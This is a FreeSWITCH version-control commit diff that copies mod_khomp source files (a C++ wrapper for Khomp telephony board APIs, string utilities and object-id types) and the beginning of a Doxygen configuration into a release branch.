Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/k3lapi.hpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/k3lapi.hpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons/k3lapi.hpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/k3lapi.hpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/k3lapi.hpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,314 @@
+#include <string>
+
+#include <k3l.h>
+
+/* if using full k3l.h (for softpbx), version already defined. */
+#ifndef k3lApiMajorVersion
+# include <k3lVersion.h>
+#endif
+
+#ifdef __GNUC_PREREQ
+#if __GNUC_PREREQ(4,3)
+#include <cstring>
+#endif
+#endif
+
+#ifndef INCLUDED_K3LAPI_HPP
+#define INCLUDED_K3LAPI_HPP
+
+struct K3LAPI
+{
+    /* exceptions */
+
+    struct start_failed
+    {
+        start_failed(const char * _msg) : msg(_msg) {};
+        std::string msg;
+    };
+    
+    struct failed_command
+    {
+        failed_command(int32 _code, unsigned short _dev, unsigned short _obj, int32 _rc)
+        : code(_code), dev(_dev), obj(_obj), rc(_rc) {};
+        
+        int32           code;
+        unsigned short  dev;
+        unsigned short  obj;
+        int32           rc;
+    };
+
+    struct failed_raw_command
+    {
+        failed_raw_command(unsigned short _dev, unsigned short _dsp, int32 _rc)
+        : dev(_dev), dsp(_dsp), rc(_rc) {};
+        
+        unsigned short  dev;
+        unsigned short  dsp;
+        int32           rc;
+    };
+
+	struct invalid_session
+	{
+		invalid_session(unsigned int _device, unsigned int _channel)
+		: device(_device), channel(_channel) {};
+		
+		unsigned int device;
+        unsigned int channel;
+	};
+    
+    struct invalid_device
+    {
+        invalid_device(int32 _device)
+        : device(_device) {};
+        
+        int32 device;
+    };
+
+    struct invalid_channel
+    {
+        invalid_channel(int32 _device, int32 _channel)
+        : device(_device), channel(_channel) {};
+
+        int32 device, channel;
+    };
+
+    struct invalid_link
+    {
+        invalid_link(unsigned int _device, unsigned int _link)
+        : device(_device), link(_link) {};
+
+        int32 device, link;
+    };
+
+    struct get_param_failed
+    {
+        get_param_failed(std::string _name, int32 _rc)
+        : name(_name), rc((KLibraryStatus)_rc) {};
+
+        std::string name;
+        KLibraryStatus rc;
+    };
+    
+    typedef K3L_DEVICE_CONFIG          device_conf_type;
+    typedef K3L_CHANNEL_CONFIG        channel_conf_type;
+    typedef K3L_CHANNEL_CONFIG *  channel_ptr_conf_type;
+    typedef K3L_LINK_CONFIG              link_conf_type;
+    typedef K3L_LINK_CONFIG *        link_ptr_conf_type;
+
+    /* constructors/destructors */
+    
+    K3LAPI();
+    ~K3LAPI();
+
+    /* (init|final)ialize the whole thing! */
+    
+    void start(void);
+    void stop(void);
+
+    /* verificacao de intervalos */
+    
+    inline bool valid_device(int32 dev)
+    {
+        return (dev >= 0 && dev < ((int32)_device_count));
+    }
+
+    inline bool valid_channel(int32 dev, int32 obj)
+    {
+        return (valid_device(dev) && obj >= 0 && obj < ((int32)_channel_count[dev]));
+    }
+
+    inline bool valid_link(int32 dev, int32 obj)
+    {
+        return (valid_device(dev) && obj >= 0 && obj < ((int32)_link_count[dev]));
+    }
+
+    /*!
+      \brief High level object identifier
+      Since Khomp works with an object concept, this is used to map the
+      object id with its proper type.
+     */
+    struct target
+    {
+        /*! The types a target can have */
+        typedef enum { DEVICE, CHANNEL, MIXER, LINK } target_type;
+
+        target(K3LAPI & k3lapi, target_type type_init, int32 device_value, int32 object_value)
+            : type(type_init), 
+            device((unsigned short)device_value), 
+            object((unsigned short)object_value)
+        {
+            switch (type_init)
+            {
+                case DEVICE:
+                    if (!k3lapi.valid_device(device))
+                        throw invalid_device(device);
+                    break;
+
+                case CHANNEL:
+                case MIXER:
+                    if (!k3lapi.valid_channel(device, object))
+                        throw invalid_channel(device, object);
+                    break;
+
+                case LINK:
+                    if (!k3lapi.valid_link(device, object))
+                        throw invalid_link(device, object);
+                    break;
+            }
+
+        };
+
+        target_type type;
+
+        unsigned short device;
+        unsigned short object;
+    };
+
+    /* envio de comandos para placa (geral) */
+
+    void raw_command(int32 dev, int32 dsp, std::string & str);
+    void raw_command(int32 dev, int32 dsp, const char * cmds, int32 size);
+
+    /* obter dados 'cacheados' (geral) */
+    
+    inline unsigned int device_count(void)
+    {
+        return _device_count;
+    }
+
+    /* envio de comandos para placa (sem identificadores) */
+    
+    void mixer(int32 dev, int32 obj, byte track, KMixerSource src, int32 index);
+    void mixerCTbus(int32 dev, int32 obj, byte track, KMixerSource src, int32 index);
+
+    void command (int32 dev, int32 obj, int32 code, std::string & str);
+    void command (int32 dev, int32 obj, int32 code, const char * parms = NULL);
+
+    /* obter dados 'cacheados' (sem identificadores) */
+
+    inline unsigned int channel_count(int32 dev)
+    {
+        if (!valid_device(dev))
+            throw invalid_device(dev);
+
+        return _channel_count[dev];
+    }
+
+    inline unsigned int link_count(int32 dev)
+    {
+        if (!valid_device(dev))
+            throw invalid_device(dev);
+
+        return _link_count[dev];
+    }
+
+    KDeviceType device_type(int32 dev)
+    {
+        if (!valid_device(dev))
+            throw invalid_device(dev);
+        
+        return _device_type[dev];
+    }
+    
+
+    K3L_DEVICE_CONFIG & device_config(int32 dev)
+    {
+        if (!valid_device(dev))
+            throw invalid_device(dev);
+
+        return _device_config[dev];
+    }
+
+    K3L_CHANNEL_CONFIG & channel_config(int32 dev, int32 obj)
+    {
+        if (!valid_channel(dev, obj))
+            throw invalid_channel(dev, obj);
+
+        return _channel_config[dev][obj];
+    }
+
+    K3L_LINK_CONFIG & link_config(int32 dev, int32 obj)
+    {
+        if (!valid_channel(dev, obj))
+            throw invalid_channel(dev, obj);
+
+        return _link_config[dev][obj];
+    }
+
+    /* envio de comandos para placa (com identificadores) */
+    
+    void mixer(target & tgt, byte track, KMixerSource src, int32 index)
+    {
+        mixer((int32)tgt.device, (int32)tgt.object, track, src, index);
+    }
+
+    void mixerCTbus(target & tgt, byte track, KMixerSource src, int32 index)
+    {
+        mixerCTbus((int32)tgt.device, (int32)tgt.object, track, src, index);
+    }
+
+    void command (target & tgt, int32 code, std::string & str)
+    {
+        command((int32)tgt.device, (int32)tgt.object, code, str);
+    };
+
+    void command (target & tgt, int32 code, const char * parms = NULL)
+    {
+        command((int32)tgt.device, (int32)tgt.object, code, parms);
+    };
+
+    /* obter dados 'cacheados' (com indentificadores) */
+    
+    inline unsigned int channel_count(target & tgt)
+    {
+        return _channel_count[tgt.device];
+    }
+
+    inline unsigned int link_count(target & tgt)
+    {
+        return _link_count[tgt.device];
+    }
+
+    KDeviceType device_type(target & tgt)
+    {
+        return _device_type[tgt.device];
+    }
+    
+
+    K3L_DEVICE_CONFIG & device_config(target & tgt)
+    {
+        return _device_config[tgt.device];
+    }
+
+    K3L_CHANNEL_CONFIG & channel_config(target & tgt)
+    {
+        return _channel_config[tgt.device][tgt.object];
+    }
+
+    K3L_LINK_CONFIG & link_config(target & tgt)
+    {
+        return _link_config[tgt.device][tgt.object];
+    }
+
+    /* pega valores em strings de eventos */
+
+    KLibraryStatus get_param(K3L_EVENT *ev, const char *name, std::string &res);
+    std::string get_param(K3L_EVENT *ev, const char *name);
+
+    /* inicializa valores em cache */
+
+    void init(void);
+
+ protected:
+
+    unsigned int           _device_count;
+    unsigned int *        _channel_count;
+    unsigned int *           _link_count;
+    
+         device_conf_type *   _device_config;
+    channel_ptr_conf_type *  _channel_config;
+       link_ptr_conf_type *     _link_config;
+              KDeviceType *     _device_type;
+};
+
+#endif /* INCLUDED_K3LAPI_HPP */

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/strings.cpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/strings.cpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons/strings.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/strings.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/strings.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,153 @@
+#include <strings.hpp>
+
+void Strings::Merger::add(std::string s)
+{
+    _list.push_back(s);
+};
+
+std::string Strings::Merger::merge(const std::string & sep)
+{
+    list_type::iterator i = _list.begin();
+
+    std::string res;
+
+    if (i != _list.end())
+    {
+        res += (*i);
+        ++i;
+    };
+
+    while (i != _list.end())
+    {
+        res += sep;
+        res += (*i);
+        ++i;
+    }
+
+    return res;
+};
+
+std::string Strings::Merger::merge(const char *sep)
+{
+    std::string ssep(sep);
+    return merge(ssep);
+}
+
+void Strings::tokenize(const std::string & str, Strings::vector_type & tokens,
+    const std::string & delims, long int max_tokens)
+{
+    std::string::size_type init = str.find_first_not_of(delims, 0);
+    std::string::size_type fini = str.find_first_of(delims, init);
+
+    long int cur_token = 1;
+    
+    while (std::string::npos != init)
+    {
+        if (std::string::npos != fini && cur_token < max_tokens)
+        {
+            tokens.push_back(str.substr(init, fini - init));
+            ++cur_token;
+        }
+        else
+        {
+            tokens.push_back(str.substr(init, str.size() - init));
+            break;
+        }
+
+        init = str.find_first_not_of(delims, fini);
+        fini = str.find_first_of(delims, init);
+    }
+}
+
+bool Strings::toboolean(std::string str)
+{
+    std::string tmp(str);
+
+    Strings::lower(tmp);
+    
+    if ((tmp == "true")  || (tmp == "yes")) return true;
+    if ((tmp == "false") || (tmp == "no"))  return false;
+
+    throw invalid_value(str);
+}
+
+long Strings::tolong(std::string str, int base)
+{
+    char *str_end = 0;
+
+    unsigned long value = strtol(str.c_str(), &str_end, base);
+
+    if (str_end && *str_end == 0)
+        return value;
+
+    throw invalid_value(str);
+}
+
+unsigned long Strings::toulong(std::string str, int base)
+{
+    char *str_end = 0;
+
+    unsigned long value = strtoul(str.c_str(), &str_end, base);
+
+    if (str_end && *str_end == 0)
+        return value;
+
+    throw invalid_value(str);
+}
+
+unsigned long long Strings::toulonglong(std::string str, int base)
+{
+#if defined(_WINDOWS) || defined(_Windows) || defined(_WIN32) || defined(WIN32)
+    throw not_implemented();
+#else
+    char *str_end = 0;
+
+    unsigned long long value = strtoull(str.c_str(), &str_end, base);
+
+    if (str_end && *str_end == 0)
+        return value;
+
+    throw invalid_value(str);
+#endif
+}
+
+std::string Strings::fromboolean(bool value)
+{
+    if (value) return "true";
+    else       return "false";
+}
+
+std::string Strings::lower(std::string str)
+{
+    std::string res;
+
+    for (std::string::iterator i = str.begin(); i != str.end(); i++)
+        res += tolower((*i));
+
+    return res;
+}
+
+std::string Strings::hexadecimal(std::string value)
+{
+    std::string result;
+
+    for (std::string::iterator i = value.begin(); i != value.end(); i++)
+    {
+        if (i != value.begin())
+            result += " ";
+
+        result += STG(FMT("%2x") % (unsigned int)(*i));
+    }
+
+    return result;
+}
+
+std::string Strings::trim(const std::string& str, const std::string& trim_chars)
+{
+    std::string result(str);
+    
+    result.erase( result.find_last_not_of( trim_chars ) + 1 );
+    result.erase( 0, result.find_first_not_of( trim_chars ) );
+    
+    return result;
+}

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/strings.hpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/strings.hpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons/strings.hpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/strings.hpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/strings.hpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+#include <limits.h>
+
+#include <list>
+#include <vector>
+#include <string>
+
+#include <format.hpp>
+
+#include <types.hpp>
+
+/* Generic string funcions */
+
+#ifndef INCLUDED_STRINGS_HPP
+#define INCLUDED_STRINGS_HPP
+
+struct Strings
+{
+    typedef std::list<std::string>      list_type;
+    typedef std::vector<std::string>  vector_type;
+
+    struct Merger
+    {
+        void          add(std::string);
+
+        std::string merge(const std::string &);
+        std::string merge(const char *);
+
+        bool empty() { return _list.empty(); };
+        
+     protected:
+        list_type   _list;
+    };
+
+ public:
+    struct invalid_value
+    {
+        invalid_value(const char  * value): _value(value) {};
+        invalid_value(std::string   value): _value(value) {};
+
+        std::string & value() { return _value; }
+        
+     protected:
+         std::string _value;
+    };
+    
+    struct not_implemented {};
+
+    static void tokenize(const std::string &, vector_type &, const std::string & delims = ",;:", long int max_toxens = LONG_MAX);
+
+    static bool        toboolean(std::string);
+    static std::string fromboolean(bool);
+
+    static long               tolong(std::string, int base = 10);
+    static unsigned long      toulong(std::string, int base = 10);
+    static unsigned long long toulonglong(std::string, int base = 10);
+
+    static std::string lower(std::string);
+    static std::string hexadecimal(std::string);
+    
+    static std::string trim(const std::string&, const std::string& trim_chars = " \f\n\r\t\v");
+};
+
+#endif // INCLUDED_STRINGS_HPP //

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/types.hpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/types.hpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons/types.hpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/types.hpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/types.hpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,169 @@
+#ifndef INCLUDED_TYPES_HPP
+#define INCLUDED_TYPES_HPP
+
+#if defined(LINUX) || defined(__LINUX__) || defined(__linux__) 
+#include <stdlib.h> 
+#endif 
+
+/*** Used for conditional compilation based on K3L version ***/
+
+#define K3L_AT_LEAST(major,minor,build) \
+    (((k3lApiMajorVersion == major) && ((k3lApiMinorVersion == minor) && (k3lApiBuildVersion >= build)) || \
+     ((k3lApiMajorVersion == major) && (k3lApiMinorVersion > minor))) || \
+      (k3lApiMajorVersion  > major))
+
+#define K3L_EXACT(major,minor,build) \
+    ((k3lApiMajorVersion == major) && (k3lApiMinorVersion == minor) && (k3lApiBuildVersion >= build))
+
+/**** Used for indexing any kind of Khomp object. ****/
+
+typedef unsigned short int   ushort;
+
+template <class value_type>
+struct ktype_id
+{
+    ktype_id(value_type id): _id(id) {};
+
+    value_type id(void) { return _id; };
+    
+ protected:
+     value_type _id;
+};
+
+struct deviceId:  ktype_id<ushort> { deviceId(ushort id):  ktype_id<ushort>(id) {}; };
+struct channelId: ktype_id<ushort> { channelId(ushort id): ktype_id<ushort>(id) {}; };
+struct playerId:  ktype_id<ushort> { playerId(ushort id):  ktype_id<ushort>(id) {}; };
+struct mixerId:   ktype_id<ushort> { mixerId(ushort id):   ktype_id<ushort>(id) {}; };
+struct linkId:    ktype_id<ushort> { linkId(ushort id):    ktype_id<ushort>(id) {}; };
+
+struct kobject
+{
+    struct hash;
+    struct less;
+    struct equal;
+    struct hashLess;
+
+    struct item
+    {
+        typedef enum
+        {
+            DEVICE  = 1,
+            CHANNEL = 2,
+            PLAYER  = 3,
+            MIXER   = 4,
+            LINK    = 5,
+        }
+        type_t;
+
+        item(deviceId dev)
+        {
+            _type = DEVICE;
+            _dev = dev.id();
+            _obj = 0xffff;
+        };
+
+        item(deviceId dev, channelId chan)
+        {
+            _type = CHANNEL;
+            _dev = dev.id();
+            _obj = chan.id();
+        };
+
+        item(deviceId dev, playerId play)
+        {
+            _type = PLAYER;
+            _dev = dev.id();
+            _obj = play.id();
+        };
+
+        item(deviceId dev, mixerId mix)
+        {
+            _type = MIXER;
+            _dev = dev.id();
+            _obj = mix.id();
+        };
+
+        item(deviceId dev, linkId lnk)
+        {
+            _type = LINK;
+            _dev = dev.id();
+            _obj = lnk.id();
+        };
+
+        type_t    type() { return _type; };
+        ushort  device() { return _dev; };
+        ushort  object() { return _obj; };
+
+     protected:
+        type_t _type;
+        ushort _dev;
+        ushort _obj;
+
+     private:
+        item();
+
+     friend struct kobject::hash;
+     friend struct kobject::less;
+     friend struct kobject::equal;
+     friend struct kobject::hashLess;
+    };
+
+    struct hash
+    {
+        size_t operator()(const item &i) const
+        {
+            return (((ushort) (i._type)) << 28) + ((i._dev) << 16) + (i._obj);
+        }
+    };
+
+    struct equal
+    {
+        bool operator()(const item &i1, const item &i2) const
+        {
+            return
+                ((i1._type == i2._type) &&
+                 (i1._dev  == i2._dev)  &&
+                 (i1._obj  == i2._obj));
+        }
+    };
+
+    struct less
+    {
+        bool comp(const item &i1, const item &i2) const
+        {
+            if (i1._type < i2._type)
+                return true;
+
+            if (i1._type == i2._type)
+            {
+                if (i1._dev  < i2._dev)
+                    return true;
+
+                if (i1._dev == i2._dev)
+                {
+                    if (i1._obj  < i2._obj)
+                        return true;
+                    else
+                        return false;
+                }
+            }
+
+            return false;
+        }
+
+        bool operator()(const item &i1, const item &i2) const
+        {
+            return comp(i1,i2);
+        }
+    };
+
+    struct hashLess
+    : public hash, public less
+    {
+         public:
+            static const size_t bucket_size = 4;
+            static const size_t min_buckets = 8;
+    };
+};
+
+#endif /* INCLUDED_TYPES_HPP */

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/docs (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/docs)

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/docs/Doxygen.conf

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/docs/Doxygen.conf (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/docs/Doxygen.conf) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/docs/Doxygen.conf	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/docs/Doxygen.conf	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1540 @@
+# Doxyfile 1.5.8
+
+# This file describes the settings to be used by the documentation system
+# doxygen (www.doxygen.org) for a project
+#
+# All text after a hash (#) is considered a comment and will be ignored
+# The format is:
+#       TAG = value [value, ...]
+# For lists items can also be appended using:
+#       TAG += value [value, ...]
+# Values that contain spaces should be placed between quotes (" ")
+
+#---------------------------------------------------------------------------
+# Project related configuration options
+#---------------------------------------------------------------------------
+
+# This tag specifies the encoding used for all characters in the config file 
+# that follow. The default is UTF-8 which is also the encoding used for all 
+# text before the first occurrence of this tag. Doxygen uses libiconv (or the 
+# iconv built into libc) for the transcoding. See 
+# http://www.gnu.org/software/libiconv for the list of possible encodings.
+
+DOXYFILE_ENCODING      = UTF-8
+
+# The PROJECT_NAME tag is a single word (or a sequence of words surrounded 
+# by quotes) that should identify the project.
+
+PROJECT_NAME           = mod_khomp
+
+# The PROJECT_NUMBER tag can be used to enter a project or revision number. 
+# This could be handy for archiving the generated documentation or 
+# if some version control system is used.
+
+PROJECT_NUMBER         = 1.0
+
+# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) 
+# base path where the generated documentation will be put. 
+# If a relative path is entered, it will be relative to the location 
+# where doxygen was started. If left blank the current directory will be used.
+
+OUTPUT_DIRECTORY       = .
+
+# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create 
+# 4096 sub-directories (in 2 levels) under the output directory of each output 
+# format and will distribute the generated files over these directories. 
+# Enabling this option can be useful when feeding doxygen a huge amount of 
+# source files, where putting all generated files in the same directory would 
+# otherwise cause performance problems for the file system.
+
+CREATE_SUBDIRS         = NO
+
+# The OUTPUT_LANGUAGE tag is used to specify the language in which all 
+# documentation generated by doxygen is written. Doxygen will use this 
+# information to generate all constant output in the proper language. 
+# The default language is English, other supported languages are: 
+# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, 
+# Croatian, Czech, Danish, Dutch, Farsi, Finnish, French, German, Greek, 
+# Hungarian, Italian, Japanese, Japanese-en (Japanese with English messages), 
+# Korean, Korean-en, Lithuanian, Norwegian, Macedonian, Persian, Polish, 
+# Portuguese, Romanian, Russian, Serbian, Serbian-Cyrilic, Slovak, Slovene, 
+# Spanish, Swedish, and Ukrainian.
+
+OUTPUT_LANGUAGE        = English
+
+# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will 
+# include brief member descriptions after the members that are listed in 
+# the file and class documentation (similar to JavaDoc). 
+# Set to NO to disable this.
+
+BRIEF_MEMBER_DESC      = YES
+
+# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend 
+# the brief description of a member or function before the detailed description. 
+# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the 
+# brief descriptions will be completely suppressed.
+
+REPEAT_BRIEF           = YES
+
+# This tag implements a quasi-intelligent brief description abbreviator 
+# that is used to form the text in various listings. Each string 
+# in this list, if found as the leading text of the brief description, will be 
+# stripped from the text and the result after processing the whole list, is 
+# used as the annotated text. Otherwise, the brief description is used as-is. 
+# If left blank, the following values are used ("$name" is automatically 
+# replaced with the name of the entity): "The $name class" "The $name widget" 
+# "The $name file" "is" "provides" "specifies" "contains" 
+# "represents" "a" "an" "the"
+
+ABBREVIATE_BRIEF       = "The $name class" \
+                         "The $name widget" \
+                         "The $name file" \
+                         is \
+                         provides \
+                         specifies \
+                         contains \
+                         represents \
+                         a \
+                         an \
+                         the
+
+# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then 
+# Doxygen will generate a detailed section even if there is only a brief 
+# description.
+
+ALWAYS_DETAILED_SEC    = NO
+
+# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all 
+# inherited members of a class in the documentation of that class as if those 
+# members were ordinary class members. Constructors, destructors and assignment 
+# operators of the base classes will not be shown.
+
+INLINE_INHERITED_MEMB  = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full 
+# path before files name in the file list and in the header files. If set 
+# to NO the shortest path that makes the file name unique will be used.
+
+FULL_PATH_NAMES        = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag 
+# can be used to strip a user-defined part of the path. Stripping is 
+# only done if one of the specified strings matches the left-hand part of 
+# the path. The tag can be used to show relative paths in the file list. 
+# If left blank the directory from which doxygen is run is used as the 
+# path to strip.
+
+STRIP_FROM_PATH        = 
+
+# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of 
+# the path mentioned in the documentation of a class, which tells 
+# the reader which header file to include in order to use a class. 
+# If left blank only the name of the header file containing the class 
+# definition is used. Otherwise one should specify the include paths that 
+# are normally passed to the compiler using the -I flag.
+
+STRIP_FROM_INC_PATH    = 
+
+# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter 
+# (but less readable) file names. This can be useful is your file systems 
+# doesn't support long names like on DOS, Mac, or CD-ROM.
+
+SHORT_NAMES            = NO
+
+# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen 
+# will interpret the first line (until the first dot) of a JavaDoc-style 
+# comment as the brief description. If set to NO, the JavaDoc 
+# comments will behave just like regular Qt-style comments 
+# (thus requiring an explicit @brief command for a brief description.)
+
+JAVADOC_AUTOBRIEF      = NO
+
+# If the QT_AUTOBRIEF tag is set to YES then Doxygen will 
+# interpret the first line (until the first dot) of a Qt-style 
+# comment as the brief description. If set to NO, the comments 
+# will behave just like regular Qt-style comments (thus requiring 
+# an explicit \brief command for a brief description.)
+
+QT_AUTOBRIEF           = NO
+
+# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen 
+# treat a multi-line C++ special comment block (i.e. a block of //! or /// 
+# comments) as a brief description. This used to be the default behaviour. 
+# The new default is to treat a multi-line C++ comment block as a detailed 
+# description. Set this tag to YES if you prefer the old behaviour instead.
+
+MULTILINE_CPP_IS_BRIEF = NO
+
+# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented 
+# member inherits the documentation from any documented member that it 
+# re-implements.
+
+INHERIT_DOCS           = YES
+
+# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce 
+# a new page for each member. If set to NO, the documentation of a member will 
+# be part of the file/class/namespace that contains it.
+
+SEPARATE_MEMBER_PAGES  = NO
+
+# The TAB_SIZE tag can be used to set the number of spaces in a tab. 
+# Doxygen uses this value to replace tabs by spaces in code fragments.
+
+TAB_SIZE               = 8
+
+# This tag can be used to specify a number of aliases that acts 
+# as commands in the documentation. An alias has the form "name=value". 
+# For example adding "sideeffect=\par Side Effects:\n" will allow you to 
+# put the command \sideeffect (or @sideeffect) in the documentation, which 
+# will result in a user-defined paragraph with heading "Side Effects:". 
+# You can put \n's in the value part of an alias to insert newlines.
+
+ALIASES                = 
+
+# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C 
+# sources only. Doxygen will then generate output that is more tailored for C. 
+# For instance, some of the names that are used will be different. The list 
+# of all members will be omitted, etc.
+
+OPTIMIZE_OUTPUT_FOR_C  = YES
+
+# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java 
+# sources only. Doxygen will then generate output that is more tailored for 
+# Java. For instance, namespaces will be presented as packages, qualified 
+# scopes will look different, etc.
+
+OPTIMIZE_OUTPUT_JAVA   = NO
+
+# Set the OPTIMIZE_FOR_FORTRAN tag to YES if your project consists of Fortran 
+# sources only. Doxygen will then generate output that is more tailored for 
+# Fortran.
+
+OPTIMIZE_FOR_FORTRAN   = NO
+
+# Set the OPTIMIZE_OUTPUT_VHDL tag to YES if your project consists of VHDL 
+# sources. Doxygen will then generate output that is tailored for 
+# VHDL.
+
+OPTIMIZE_OUTPUT_VHDL   = NO
+
+# Doxygen selects the parser to use depending on the extension of the files it parses. 
+# With this tag you can assign which parser to use for a given extension. 
+# Doxygen has a built-in mapping, but you can override or extend it using this tag. 
+# The format is ext=language, where ext is a file extension, and language is one of 
+# the parsers supported by doxygen: IDL, Java, Javascript, C#, C, C++, D, PHP, 
+# Objective-C, Python, Fortran, VHDL, C, C++. For instance to make doxygen treat 
+# .inc files as Fortran files (default is PHP), and .f files as C (default is Fortran), 
+# use: inc=Fortran f=C
+
+EXTENSION_MAPPING      = 
+
+# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want 
+# to include (a tag file for) the STL sources as input, then you should 
+# set this tag to YES in order to let doxygen match functions declarations and 
+# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. 
+# func(std::string) {}). This also make the inheritance and collaboration 
+# diagrams that involve STL classes more complete and accurate.
+
+BUILTIN_STL_SUPPORT    = YES
+
+# If you use Microsoft's C++/CLI language, you should set this option to YES to 
+# enable parsing support.
+
+CPP_CLI_SUPPORT        = NO
+
+# Set the SIP_SUPPORT tag to YES if your project consists of sip sources only. 
+# Doxygen will parse them like normal C++ but will assume all classes use public 
+# instead of private inheritance when no explicit protection keyword is present.
+
+SIP_SUPPORT            = NO
+
+# For Microsoft's IDL there are propget and propput attributes to indicate getter 
+# and setter methods for a property. Setting this option to YES (the default) 
+# will make doxygen to replace the get and set methods by a property in the 
+# documentation. This will only work if the methods are indeed getting or 
+# setting a simple type. If this is not the case, or you want to show the 
+# methods anyway, you should set this option to NO.
+
+IDL_PROPERTY_SUPPORT   = YES
+
+# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC 
+# tag is set to YES, then doxygen will reuse the documentation of the first 
+# member in the group (if any) for the other members of the group. By default 
+# all members of a group must be documented explicitly.
+
+DISTRIBUTE_GROUP_DOC   = NO
+
+# Set the SUBGROUPING tag to YES (the default) to allow class member groups of 
+# the same type (for instance a group of public functions) to be put as a 
+# subgroup of that type (e.g. under the Public Functions section). Set it to 
+# NO to prevent subgrouping. Alternatively, this can be done per class using 
+# the \nosubgrouping command.
+
+SUBGROUPING            = YES
+
+# When TYPEDEF_HIDES_STRUCT is enabled, a typedef of a struct, union, or enum 
+# is documented as struct, union, or enum with the name of the typedef. So 
+# typedef struct TypeS {} TypeT, will appear in the documentation as a struct 
+# with name TypeT. When disabled the typedef will appear as a member of a file, 
+# namespace, or class. And the struct will be named TypeS. This can typically 
+# be useful for C code in case the coding convention dictates that all compound 
+# types are typedef'ed and only the typedef is referenced, never the tag name.
+
+TYPEDEF_HIDES_STRUCT   = NO
+
+# The SYMBOL_CACHE_SIZE determines the size of the internal cache use to 
+# determine which symbols to keep in memory and which to flush to disk. 
+# When the cache is full, less often used symbols will be written to disk. 
+# For small to medium size projects (<1000 input files) the default value is 
+# probably good enough. For larger projects a too small cache size can cause 
+# doxygen to be busy swapping symbols to and from disk most of the time 
+# causing a significant performance penality. 
+# If the system has enough physical memory increasing the cache will improve the 
+# performance by keeping more symbols in memory. Note that the value works on 
+# a logarithmic scale so increasing the size by one will rougly double the 
+# memory usage. The cache size is given by this formula: 
+# 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0, 
+# corresponding to a cache size of 2^16 = 65536 symbols
+
+SYMBOL_CACHE_SIZE      = 0
+
+#---------------------------------------------------------------------------
+# Build related configuration options
+#---------------------------------------------------------------------------
+
+# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in 
+# documentation are documented, even if no documentation was available. 
+# Private class members and static file members will be hidden unless 
+# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES
+
+EXTRACT_ALL            = YES
+
+# If the EXTRACT_PRIVATE tag is set to YES all private members of a class 
+# will be included in the documentation.
+
+EXTRACT_PRIVATE        = YES
+
+# If the EXTRACT_STATIC tag is set to YES all static members of a file 
+# will be included in the documentation.
+
+EXTRACT_STATIC         = YES
+
+# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) 
+# defined locally in source files will be included in the documentation. 
+# If set to NO only classes defined in header files are included.
+
+EXTRACT_LOCAL_CLASSES  = YES
+
